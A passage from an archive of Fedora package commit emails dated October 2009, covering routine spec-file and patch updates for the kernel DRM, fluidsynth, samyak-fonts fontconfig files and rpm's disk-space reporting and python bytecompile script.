 	struct workqueue_struct *swap_queue;
 	struct work_struct work;
 	wait_queue_head_t queue;
 	spinlock_t lock;
-	uint64_t emer_memory;
-	uint64_t max_memory;
-	uint64_t swap_limit;
-	uint64_t used_memory;
-	uint64_t used_total_memory;
-	uint64_t total_memory_swap_limit;
-	uint64_t max_total_memory;
-	uint64_t emer_total_memory;
+	struct ttm_mem_zone *zones[TTM_MEM_MAX_ZONES];
+	unsigned int num_zones;
+	struct ttm_mem_zone *zone_kernel;
+#ifdef CONFIG_HIGHMEM
+	struct ttm_mem_zone *zone_highmem;
+#else
+	struct ttm_mem_zone *zone_dma32;
+#endif
 };
 
 /**
@@ -146,8 +146,13 @@ static inline void ttm_mem_unregister_shrink(struct ttm_mem_global *glob,
 extern int ttm_mem_global_init(struct ttm_mem_global *glob);
 extern void ttm_mem_global_release(struct ttm_mem_global *glob);
 extern int ttm_mem_global_alloc(struct ttm_mem_global *glob, uint64_t memory,
-				bool no_wait, bool interruptible, bool himem);
+				bool no_wait, bool interruptible);
 extern void ttm_mem_global_free(struct ttm_mem_global *glob,
-				uint64_t amount, bool himem);
+				uint64_t amount);
+extern int ttm_mem_global_alloc_page(struct ttm_mem_global *glob,
+				     struct page *page,
+				     bool no_wait, bool interruptible);
+extern void ttm_mem_global_free_page(struct ttm_mem_global *glob,
+				     struct page *page);
 extern size_t ttm_round_pot(size_t size);
 #endif
diff --git a/include/drm/ttm/ttm_module.h b/include/drm/ttm/ttm_module.h
index d1d4338..cf416ae 100644
--- a/include/drm/ttm/ttm_module.h
+++ b/include/drm/ttm/ttm_module.h
@@ -32,6 +32,7 @@
 #define _TTM_MODULE_H_
 
 #include <linux/kernel.h>
+struct kobject;
 
 #define TTM_PFX "[TTM] "
 
@@ -54,5 +55,6 @@ extern void ttm_global_init(void);
 extern void ttm_global_release(void);
 extern int ttm_global_item_ref(struct ttm_global_reference *ref);
 extern void ttm_global_item_unref(struct ttm_global_reference *ref);
+extern struct kobject *ttm_get_kobj(void);
 
 #endif /* _TTM_MODULE_H_ */


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1889
retrieving revision 1.1890
diff -u -p -r1.1889 -r1.1890
--- kernel.spec	28 Oct 2009 05:59:33 -0000	1.1889
+++ kernel.spec	28 Oct 2009 06:09:47 -0000	1.1890
@@ -687,7 +687,7 @@ Patch1586: linux-2.6-virtio_blk-add-supp
 
 # nouveau + drm fixes
 Patch1810: kms-offb-handoff.patch
-Patch1812: drm-next-fc7f7119.patch
+Patch1812: drm-next-ea1495a6.patch
 Patch1813: drm-radeon-pm.patch
 Patch1814: drm-nouveau.patch
 Patch1818: drm-i915-resume-force-mode.patch
@@ -1379,7 +1379,7 @@ ApplyPatch linux-2.6-e1000-ich9.patch
 
 # Nouveau DRM + drm fixes
 ApplyPatch kms-offb-handoff.patch
-ApplyPatch drm-next-fc7f7119.patch
+ApplyPatch drm-next-ea1495a6.patch
 
 ApplyPatch drm-nouveau.patch
 # pm broken on my thinkpad t60p - airlied
@@ -2102,6 +2102,9 @@ fi
 # and build.
 
 %changelog
+* Wed Oct 28 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-104
+- drm-next-ea1495a6.patch: fix rs400 resume on my test box
+
 * Wed Oct 28 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-103
 - drm-next-fc7f7119.patch: fix oops in SS code, fix multi-card, dvo.
 - drm-radeon-kms-arbiter-return-ignore.patch: fix arbiter for non-VGA display


--- drm-next-fc7f7119.patch DELETED ---



From oget at fedoraproject.org  Wed Oct 28 06:27:41 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Wed, 28 Oct 2009 06:27:41 +0000 (UTC)
Subject: rpms/fluidsynth/devel fluidsynth.spec,1.13,1.14
Message-ID: <20091028062741.731AA11C00E5@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/fluidsynth/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28247

Modified Files:
	fluidsynth.spec 
Log Message:
* Wed Oct 28 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.0.9-4
- Fix doxygen doc multilib conflict (RHBZ#528240)



Index: fluidsynth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fluidsynth/devel/fluidsynth.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- fluidsynth.spec	24 Jul 2009 22:56:59 -0000	1.13
+++ fluidsynth.spec	28 Oct 2009 06:27:41 -0000	1.14
@@ -1,7 +1,7 @@
 Summary:      Real-time software synthesizer
 Name:         fluidsynth
 Version:      1.0.9
-Release:      3%{?dist}
+Release:      4%{?dist}
 URL:          http://www.fluidsynth.org/
 Source0:      http://download.savannah.gnu.org/releases/fluid/fluidsynth-%{version}.tar.gz
 License:      LGPLv2+
@@ -77,6 +77,10 @@ done
 # build docs
 %{__make} DOCBOOK_STYLESHEET=%{_datadir}/sgml/docbook/xsl-stylesheets/html/chunk.xsl %{?_smp_mflags} -C doc update-docs
 
+# Remove id's from generated docs to avoid multilib conflict (RHBZ#528240)
+sed -i -e 's|<a name="id[0-9]*"></a>||g' \
+       -e 's|<a href="index.html#id[0-9]*">|<a href="index.html">|g' \
+    doc/html/*.html
 
 %install
 %{__rm} -rf $RPM_BUILD_ROOT
@@ -113,6 +117,9 @@ find $RPM_BUILD_ROOT -name \*.la | xargs
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Wed Oct 28 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.0.9-4
+- Fix doxygen doc multilib conflict (RHBZ#528240)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.9-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From oget at fedoraproject.org  Wed Oct 28 06:28:26 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Wed, 28 Oct 2009 06:28:26 +0000 (UTC)
Subject: rpms/fluidsynth/F-12 fluidsynth.spec,1.13,1.14
Message-ID: <20091028062826.AB86E11C00E5@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/fluidsynth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28470

Modified Files:
	fluidsynth.spec 
Log Message:
* Wed Oct 28 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.0.9-4
- Fix doxygen doc multilib conflict (RHBZ#528240)



Index: fluidsynth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fluidsynth/F-12/fluidsynth.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- fluidsynth.spec	24 Jul 2009 22:56:59 -0000	1.13
+++ fluidsynth.spec	28 Oct 2009 06:28:26 -0000	1.14
@@ -1,7 +1,7 @@
 Summary:      Real-time software synthesizer
 Name:         fluidsynth
 Version:      1.0.9
-Release:      3%{?dist}
+Release:      4%{?dist}
 URL:          http://www.fluidsynth.org/
 Source0:      http://download.savannah.gnu.org/releases/fluid/fluidsynth-%{version}.tar.gz
 License:      LGPLv2+
@@ -77,6 +77,10 @@ done
 # build docs
 %{__make} DOCBOOK_STYLESHEET=%{_datadir}/sgml/docbook/xsl-stylesheets/html/chunk.xsl %{?_smp_mflags} -C doc update-docs
 
+# Remove id's from generated docs to avoid multilib conflict (RHBZ#528240)
+sed -i -e 's|<a name="id[0-9]*"></a>||g' \
+       -e 's|<a href="index.html#id[0-9]*">|<a href="index.html">|g' \
+    doc/html/*.html
 
 %install
 %{__rm} -rf $RPM_BUILD_ROOT
@@ -113,6 +117,9 @@ find $RPM_BUILD_ROOT -name \*.la | xargs
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Wed Oct 28 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.0.9-4
+- Fix doxygen doc multilib conflict (RHBZ#528240)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.9-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From oget at fedoraproject.org  Wed Oct 28 06:28:58 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Wed, 28 Oct 2009 06:28:58 +0000 (UTC)
Subject: rpms/fluidsynth/F-11 fluidsynth.spec,1.12,1.13
Message-ID: <20091028062858.A10DB11C00E5@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/fluidsynth/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28646

Modified Files:
	fluidsynth.spec 
Log Message:
* Wed Oct 28 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.0.9-4
- Fix doxygen doc multilib conflict (RHBZ#528240)



Index: fluidsynth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fluidsynth/F-11/fluidsynth.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- fluidsynth.spec	17 Jul 2009 08:45:17 -0000	1.12
+++ fluidsynth.spec	28 Oct 2009 06:28:58 -0000	1.13
@@ -1,7 +1,7 @@
 Summary:      Real-time software synthesizer
 Name:         fluidsynth
 Version:      1.0.9
-Release:      2%{?dist}
+Release:      4%{?dist}
 URL:          http://www.fluidsynth.org/
 Source0:      http://download.savannah.gnu.org/releases/fluid/fluidsynth-%{version}.tar.gz
 License:      LGPLv2+
@@ -77,6 +77,10 @@ done
 # build docs
 %{__make} DOCBOOK_STYLESHEET=%{_datadir}/sgml/docbook/xsl-stylesheets/html/chunk.xsl %{?_smp_mflags} -C doc update-docs
 
+# Remove id's from generated docs to avoid multilib conflict (RHBZ#528240)
+sed -i -e 's|<a name="id[0-9]*"></a>||g' \
+       -e 's|<a href="index.html#id[0-9]*">|<a href="index.html">|g' \
+    doc/html/*.html
 
 %install
 %{__rm} -rf $RPM_BUILD_ROOT
@@ -113,6 +117,12 @@ find $RPM_BUILD_ROOT -name \*.la | xargs
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Wed Oct 28 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.0.9-4
+- Fix doxygen doc multilib conflict (RHBZ#528240)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.9-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Jul 17 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.0.9-2
 - Disable portaudio support. It somehow messes up jack.
 



From oget at fedoraproject.org  Wed Oct 28 06:29:41 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Wed, 28 Oct 2009 06:29:41 +0000 (UTC)
Subject: rpms/fluidsynth/F-10 fluidsynth.spec,1.11,1.12
Message-ID: <20091028062941.4062D11C00E5@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/fluidsynth/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28849

Modified Files:
	fluidsynth.spec 
Log Message:
* Wed Oct 28 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.0.9-4
- Fix doxygen doc multilib conflict (RHBZ#528240)



Index: fluidsynth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fluidsynth/F-10/fluidsynth.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- fluidsynth.spec	17 Jul 2009 08:46:15 -0000	1.11
+++ fluidsynth.spec	28 Oct 2009 06:29:40 -0000	1.12
@@ -1,7 +1,7 @@
 Summary:      Real-time software synthesizer
 Name:         fluidsynth
 Version:      1.0.9
-Release:      2%{?dist}
+Release:      4%{?dist}
 URL:          http://www.fluidsynth.org/
 Source0:      http://download.savannah.gnu.org/releases/fluid/fluidsynth-%{version}.tar.gz
 License:      LGPLv2+
@@ -77,6 +77,10 @@ done
 # build docs
 %{__make} DOCBOOK_STYLESHEET=%{_datadir}/sgml/docbook/xsl-stylesheets/html/chunk.xsl %{?_smp_mflags} -C doc update-docs
 
+# Remove id's from generated docs to avoid multilib conflict (RHBZ#528240)
+sed -i -e 's|<a name="id[0-9]*"></a>||g' \
+       -e 's|<a href="index.html#id[0-9]*">|<a href="index.html">|g' \
+    doc/html/*.html
 
 %install
 %{__rm} -rf $RPM_BUILD_ROOT
@@ -113,6 +117,12 @@ find $RPM_BUILD_ROOT -name \*.la | xargs
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Wed Oct 28 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.0.9-4
+- Fix doxygen doc multilib conflict (RHBZ#528240)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.9-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Jul 17 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.0.9-2
 - Disable portaudio support. It somehow messes up jack.
 



From pravins at fedoraproject.org  Wed Oct 28 07:38:26 2009
From: pravins at fedoraproject.org (Pravin Satpute)
Date: Wed, 28 Oct 2009 07:38:26 +0000 (UTC)
Subject: rpms/samyak-fonts/devel 67-samyak-devanagari.conf, NONE,
	1.1 67-samyak-gujarati.conf, NONE, 1.1 67-samyak-oriya.conf,
	NONE, 1.1 67-samyak-tamil.conf, NONE,
	1.1 69-samyak-malayalam.conf, NONE, 1.1 samyak-fonts.spec, 1.10, 1.11
Message-ID: <20091028073826.B402711C00E5@cvs1.fedora.phx.redhat.com>

Author: pravins

Update of /cvs/pkgs/rpms/samyak-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19279

Modified Files:
	samyak-fonts.spec 
Added Files:
	67-samyak-devanagari.conf 67-samyak-gujarati.conf 
	67-samyak-oriya.conf 67-samyak-tamil.conf 
	69-samyak-malayalam.conf 
Log Message:
* Wed Oct 28 2009 Pravin Satpute <psatpute at redhat.com> 1.2.1-7
- added fontconf files for each subpackage



--- NEW FILE 67-samyak-devanagari.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
<match>
  <test name="lang" compare="contains">
    <string>hi</string>
  </test>
  <test name="family">
    <string>serif</string>
  </test>
  <edit name="family" mode="prepend_first" binding="same">
    <string>Samyak Devanagari</string>
  </edit>
</match>
<alias>
  <family>Samyak Devanagari</family>
  <default>
    <family>serif</family>
  </default>
</alias>
</fontconfig>



--- NEW FILE 67-samyak-gujarati.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
<match>
  <test name="lang" compare="contains">
    <string>gu</string>
  </test>
  <test name="family">
    <string>serif</string>
  </test>
  <edit name="family" mode="prepend_first" binding="same">
    <string>Samyak Gujarati</string>
  </edit>
</match>
<alias>
  <family>Samyak Gujarati</family>
  <default>
    <family>serif</family>
  </default>
</alias>
</fontconfig>



--- NEW FILE 67-samyak-oriya.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
<match>
  <test name="lang" compare="contains">
    <string>or</string>
  </test>
  <test name="family">
    <string>serif</string>
  </test>
  <edit name="family" mode="prepend_first" binding="same">
    <string>Samyak Oriya</string>
  </edit>
</match>
<alias>
  <family>Samyak Oriya</family>
  <default>
    <family>serif</family>
  </default>
</alias>
</fontconfig>



--- NEW FILE 67-samyak-tamil.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
<match>
  <test name="lang" compare="contains">
    <string>ta</string>
  </test>
  <test name="family">
    <string>serif</string>
  </test>
  <edit name="family" mode="prepend_first" binding="same">
    <string>Samyak Tamil</string>
  </edit>
</match>
<alias>
  <family>Samyak Tamil</family>
  <default>
    <family>serif</family>
  </default>
</alias>
</fontconfig>



--- NEW FILE 69-samyak-malayalam.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
<match>
  <test name="lang" compare="contains">
    <string>ml</string>
  </test>
  <test name="family">
    <string>serif</string>
  </test>
  <edit name="family" mode="prepend_first" binding="same">
    <string>Samyak Malayalam</string>
  </edit>
</match>
<alias>
  <family>Samyak Malayalam</family>
  <default>
    <family>serif</family>
  </default>
</alias>
</fontconfig>



Index: samyak-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samyak-fonts/devel/samyak-fonts.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- samyak-fonts.spec	27 Jul 2009 03:47:48 -0000	1.10
+++ samyak-fonts.spec	28 Oct 2009 07:38:25 -0000	1.11
@@ -1,4 +1,5 @@
 %define	fontname	samyak
+%global fontconf	67-%{fontname}
 %define langlist	"devanagari gujarati tamil malayalam oriya"
 
 # Common description
@@ -8,12 +9,17 @@ Scripts Devanagari, Gujarati, Malayalam,
 
 Name:	 %{fontname}-fonts
 Version:	1.2.1
-Release:	6%{?dist}
+Release:	7%{?dist}
 Summary:	Free Indian truetype/opentype fonts
 Group:	User Interface/X
 License:	GPLv3+ with exceptions
 URL:	https://sarovar.org/projects/samyak/
 Source:	samyak-fonts-%{version}.tar.gz
+Source1: 67-samyak-devanagari.conf
+Source2: 67-samyak-tamil.conf
+Source3: 69-samyak-malayalam.conf
+Source4: 67-samyak-gujarati.conf
+Source5: 67-samyak-oriya.conf
 BuildArch:	noarch
 BuildRequires:	fontpackages-devel
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -41,7 +47,7 @@ Obsoletes: %{name}-devanagari < 1.2.1-3
 This package contains truetype/opentype font for the display of \
 Scripts Devanagari.
 
-%_font_pkg -n devanagari %{fontname}-devanagari/Samyak-*.ttf 
+%_font_pkg -n devanagari -f %{fontconf}-devanagari.conf  %{fontname}-devanagari/Samyak-*.ttf 
 
 %package -n %{fontname}-tamil-fonts
 Summary: Open Type Fonts for Tamil script
@@ -54,7 +60,7 @@ Obsoletes: %{name}-tamil < 1.2.1-3
 This package contains truetype/opentype font for the display of \
 Scripts Tamil.
 
-%_font_pkg -n tamil %{fontname}-tamil/*.ttf 
+%_font_pkg -n tamil -f %{fontconf}-tamil.conf %{fontname}-tamil/*.ttf 
 
 %package -n %{fontname}-malayalam-fonts
 Summary: Open Type Fonts for Malayalam script
@@ -67,7 +73,7 @@ Obsoletes: %{name}-malayalam < 1.2.1-3
 This package contains truetype/opentype font for the display of \
 Scripts Malayalam.
 
-%_font_pkg -n malayalam %{fontname}-malayalam/*.ttf 
+%_font_pkg -n malayalam -f 69-samyak-malayalam.conf %{fontname}-malayalam/*.ttf 
 
 %package -n %{fontname}-gujarati-fonts
 Summary: Open Type Fonts for Gujarai script
@@ -80,7 +86,7 @@ Obsoletes: %{name}-gujarati < 1.2.1-3
 This package contains truetype/opentype font for the display of \
 Scripts Gujarati.
 
-%_font_pkg -n gujarati %{fontname}-gujarati/*.ttf 
+%_font_pkg -n gujarati -f %{fontconf}-gujarati.conf %{fontname}-gujarati/*.ttf 
 
 %package -n %{fontname}-oriya-fonts
 Summary: Open Type Fonts for Oriya script
@@ -93,7 +99,7 @@ Obsoletes: %{name}-oriya < 1.2.1-3
 This package contains truetype/opentype font for the display of \
 Scripts Oriya.
 
-%_font_pkg -n oriya %{fontname}-oriya/*.ttf 
+%_font_pkg -n oriya -f %{fontconf}-oriya.conf %{fontname}-oriya/*.ttf 
 
 
 %prep
@@ -111,6 +117,35 @@ install -m 0755 -d %{buildroot}%{_fontdi
 install -m 0644 -p $i/* %{buildroot}%{_fontdir}/samyak-$i
 done
 
+install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
+                   %{buildroot}%{_fontconfig_confdir}
+
+# Repeat for every font family
+install -m 0644 -p %{SOURCE1} \
+        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}-devanagari.conf
+
+install -m 0644 -p %{SOURCE2} \
+        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}-tamil.conf
+
+install -m 0644 -p %{SOURCE3} \
+        %{buildroot}%{_fontconfig_templatedir}/69-samyak-malayalam.conf
+
+install -m 0644 -p %{SOURCE4} \
+        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}-gujarati.conf
+
+install -m 0644 -p %{SOURCE5} \
+        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}-oriya.conf
+
+
+for fconf in %{fontconf}-devanagari.conf \
+             %{fontconf}-tamil.conf \
+             69-samyak-malayalam.conf \
+             %{fontconf}-gujarati.conf \
+             %{fontconf}-oriya.conf ; do
+  ln -s %{_fontconfig_templatedir}/$fconf \
+        %{buildroot}%{_fontconfig_confdir}/$fconf
+done
+
 %clean
 rm -fr %{buildroot}
 
@@ -121,6 +156,9 @@ rm -fr %{buildroot}
 %dir %{_fontdir}
 
 %changelog
+* Wed Oct 28 2009 Pravin Satpute <psatpute at redhat.com> 1.2.1-7
+- added fontconf files for each subpackage
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.1-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pmatilai at fedoraproject.org  Wed Oct 28 07:47:16 2009
From: pmatilai at fedoraproject.org (Panu Matilainen)
Date: Wed, 28 Oct 2009 07:47:16 +0000 (UTC)
Subject: rpms/rpm/devel rpm-4.7.1-diskspace.patch, NONE,
	1.1 rpm-4.7.1-python-bytecompile.patch, NONE, 1.1 rpm.spec,
	1.362, 1.363
Message-ID: <20091028074716.CB87111C00E5@cvs1.fedora.phx.redhat.com>

Author: pmatilai

Update of /cvs/pkgs/rpms/rpm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22225

Modified Files:
	rpm.spec 
Added Files:
	rpm-4.7.1-diskspace.patch rpm-4.7.1-python-bytecompile.patch 
Log Message:
- support multiple python implementations in brp-python-bytecompile (#531117)
- make disk space problem reporting a bit saner (#517418)


rpm-4.7.1-diskspace.patch:
 rpmts.c          |   14 ++++++++++----
 rpmts_internal.h |    2 ++
 2 files changed, 12 insertions(+), 4 deletions(-)

--- NEW FILE rpm-4.7.1-diskspace.patch ---
commit 2222e81e1cf74bbf78acb9969592ab06e2289929
Author: Panu Matilainen <pmatilai at redhat.com>
Date:   Tue Oct 27 10:57:35 2009 +0200

    Make disk space problem reporting slightly saner (RhBug:517418)
    - Only report disk space/inode issues for packages that are affected
      instead of piling up all the problems in all filesystems on all remaining
      packages
    - The messages are still ambiguous at best, need to figure out something
      better one of these days...

diff --git a/lib/rpmts.c b/lib/rpmts.c
index 38fedc8..6e28b82 100644
--- a/lib/rpmts.c
+++ b/lib/rpmts.c
@@ -910,17 +910,23 @@ void rpmtsCheckDSIProblems(const rpmts ts, const rpmte te)
     for (i = 0; i < ts->filesystemCount; i++, dsi++) {
 
 	if (dsi->bavail >= 0 && adj_fs_blocks(dsi->bneeded) > dsi->bavail) {
-	    rpmpsAppend(ps, RPMPROB_DISKSPACE,
+	    if (dsi->bneeded != dsi->obneeded) {
+		rpmpsAppend(ps, RPMPROB_DISKSPACE,
 			rpmteNEVRA(te), rpmteKey(te),
 			ts->filesystems[i], NULL, NULL,
- 	   (adj_fs_blocks(dsi->bneeded) - dsi->bavail) * dsi->bsize);
+		   (adj_fs_blocks(dsi->bneeded) - dsi->bavail) * dsi->bsize);
+		dsi->obneeded = dsi->bneeded;
+	    }
 	}
 
 	if (dsi->iavail >= 0 && adj_fs_blocks(dsi->ineeded) > dsi->iavail) {
-	    rpmpsAppend(ps, RPMPROB_DISKNODES,
+	    if (dsi->ineeded != dsi->oineeded) {
+		rpmpsAppend(ps, RPMPROB_DISKNODES,
 			rpmteNEVRA(te), rpmteKey(te),
 			ts->filesystems[i], NULL, NULL,
- 	    (adj_fs_blocks(dsi->ineeded) - dsi->iavail));
+			(adj_fs_blocks(dsi->ineeded) - dsi->iavail));
+		dsi->oineeded = dsi->ineeded;
+	    }
 	}
     }
     ps = rpmpsFree(ps);
diff --git a/lib/rpmts_internal.h b/lib/rpmts_internal.h
index 6189fc1..1b0f847 100644
--- a/lib/rpmts_internal.h
+++ b/lib/rpmts_internal.h
@@ -20,6 +20,8 @@ struct diskspaceInfo_s {
     int64_t bsize;	/*!< File system block size. */
     int64_t bavail;	/*!< No. of blocks available. */
     int64_t iavail;	/*!< No. of inodes available. */
+    int64_t obneeded;	/*!< Bookkeeping to avoid duplicate reports */
+    int64_t oineeded;	/*!< Bookkeeping to avoid duplicate reports */
 };
 
 /** \ingroup rpmts

rpm-4.7.1-python-bytecompile.patch:
 brp-python-bytecompile |   37 +++++++++++++++++++++++++++++++++----
 1 file changed, 33 insertions(+), 4 deletions(-)

--- NEW FILE rpm-4.7.1-python-bytecompile.patch ---
commit 5463570061a7ca9ed947885b516c2551778b636f
Author: Panu Matilainen <pmatilai at redhat.com>
Date:   Tue Oct 27 16:07:43 2009 +0200

    Support multiple python versions in brp-python-bytecompile (RhBug:53117)
    - For *.py files in python library path, use matching python interpreter
      version for compiling, this is especially needed for Python 3 which
      is very different from Python 2 code. And even if the code compiled
      with a wrong version, it would be recompiled at run-time when invoked
      with the intended python version, causing verification errors etc.
    - For *.py files outside the library path, use "system python" which
      might not be always correct but we dont really know any better.
    - Patch from David Malcolm

diff --git a/scripts/brp-python-bytecompile b/scripts/brp-python-bytecompile
index 6405c5e..1faa6db 100644
--- a/scripts/brp-python-bytecompile
+++ b/scripts/brp-python-bytecompile
@@ -6,8 +6,8 @@ if [ -z "$RPM_BUILD_ROOT" -o "$RPM_BUILD_ROOT" = "/" ]; then
 fi
 
 # If we don't have a python interpreter, avoid changing anything.
-python=${1:-/usr/bin/python}
-if [ ! -x "$python" ]; then
+default_python=${1:-/usr/bin/python}
+if [ ! -x "$default_python" ]; then
 	exit 0
 fi
 
@@ -19,8 +19,37 @@ if [ -z "$depth" -o "$depth" -le "1" ]; then
 	exit 0
 fi
 
+# .pyc/.pyo files embed a "magic" value, identifying the ABI version of Python
+# bytecode that they are for.
+#
+# The files below RPM_BUILD_ROOT could be targetting multiple versions of
+# python (e.g. a single build that emits several subpackages e.g. a
+# python26-foo subpackage, a python31-foo subpackage etc)
+#
+# Support this by assuming that below each /usr/lib/python$VERSION/, all
+# .pyc/.pyo files are to be compiled for /usr/bin/python$VERSION.
+# 
+# For example, below /usr/lib/python2.6/, we're targetting /usr/bin/python2.6
+# and below /usr/lib/python3.1/, we're targetting /usr/bin/python3.1
+
+for python_libdir in $RPM_BUILD_ROOT/usr/lib*/python*/ ;
+do
+	python_binary=/usr/bin/$(basename $python_libdir)
+	echo "Bytecompiling .py files below $python_libdir using $python_binary"
+
+	# Generate normal (.pyc) byte-compiled files.
+	$python_binary -c 'import compileall; compileall.compile_dir("'"$python_libdir"'", '"$depth"', "/", force=1, quiet=1)'
+
+	# Generate optimized (.pyo) byte-compiled files.
+	$python_binary -O -c 'import compileall; compileall.compile_dir("'"$python_libdir"'", '"$depth"', "/", force=1, quiet=1)'
+done
+
+
+# Handle other locations in the filesystem using the default python
+# implementation:
+
 # Generate normal (.pyc) byte-compiled files.
-$python    -c 'import compileall, re, sys; sys.exit (not compileall.compile_dir("'"$RPM_BUILD_ROOT"'", '"$depth"', "/", 1, re.compile(r"'"/bin/|/sbin/"'"), quiet=1))'
+$default_python -c 'import compileall, re, sys; sys.exit (not compileall.compile_dir("'"$RPM_BUILD_ROOT"'", '"$depth"', "/", 1, re.compile(r"'"/bin/|/sbin/|/usr/lib.*/python.+/"'"), quiet=1))'
 if [ $? != 0 ]; then
 	# One or more of the files had a syntax error
 	# XXX TODO: parametrize the exit code, only warn for now
@@ -28,4 +57,4 @@ if [ $? != 0 ]; then
 fi
 
 # Generate optimized (.pyo) byte-compiled files.
-$python -O -c 'import compileall, re; compileall.compile_dir("'"$RPM_BUILD_ROOT"'", '"$depth"', "/", 1, re.compile(r"'"/bin/|/sbin/"'"))' > /dev/null
+$default_python -O -c 'import compileall, re; compileall.compile_dir("'"$RPM_BUILD_ROOT"'", '"$depth"', "/", 1, re.compile(r"'"/bin/|/sbin/|/usr/lib.*/python.+/"'"))' > /dev/null


Index: rpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rpm/devel/rpm.spec,v
retrieving revision 1.362
retrieving revision 1.363
diff -u -p -r1.362 -r1.363
--- rpm.spec	6 Oct 2009 12:33:28 -0000	1.362
+++ rpm.spec	28 Oct 2009 07:47:16 -0000	1.363
@@ -21,7 +21,7 @@
 Summary: The RPM package management system
 Name: rpm
 Version: %{rpmver}
-Release: 7%{?dist}
+Release: 8%{?dist}
 Group: System Environment/Base
 Url: http://www.rpm.org/
 Source0: http://rpm.org/releases/rpm-4.7.x/%{name}-%{srcver}.tar.bz2
@@ -50,6 +50,8 @@ Patch207: rpm-4.7.1-chroot-remove-env.pa
 Patch208: rpm-4.7.1-remove-db4-xa.patch
 Patch209: rpm-4.7.1-perl-heredoc.patch
 Patch210: rpm-4.7.0-extra-provides.patch
+Patch211: rpm-4.7.1-python-bytecompile.patch
+Patch212: rpm-4.7.1-diskspace.patch
 
 # These are not yet upstream
 Patch301: rpm-4.6.0-niagara.patch
@@ -213,6 +215,8 @@ packages on a system.
 %patch208 -p1 -b .remove-db4-xa
 %patch209 -p1 -b .perl-heredoc
 %patch210 -p1 -b .extra-prov
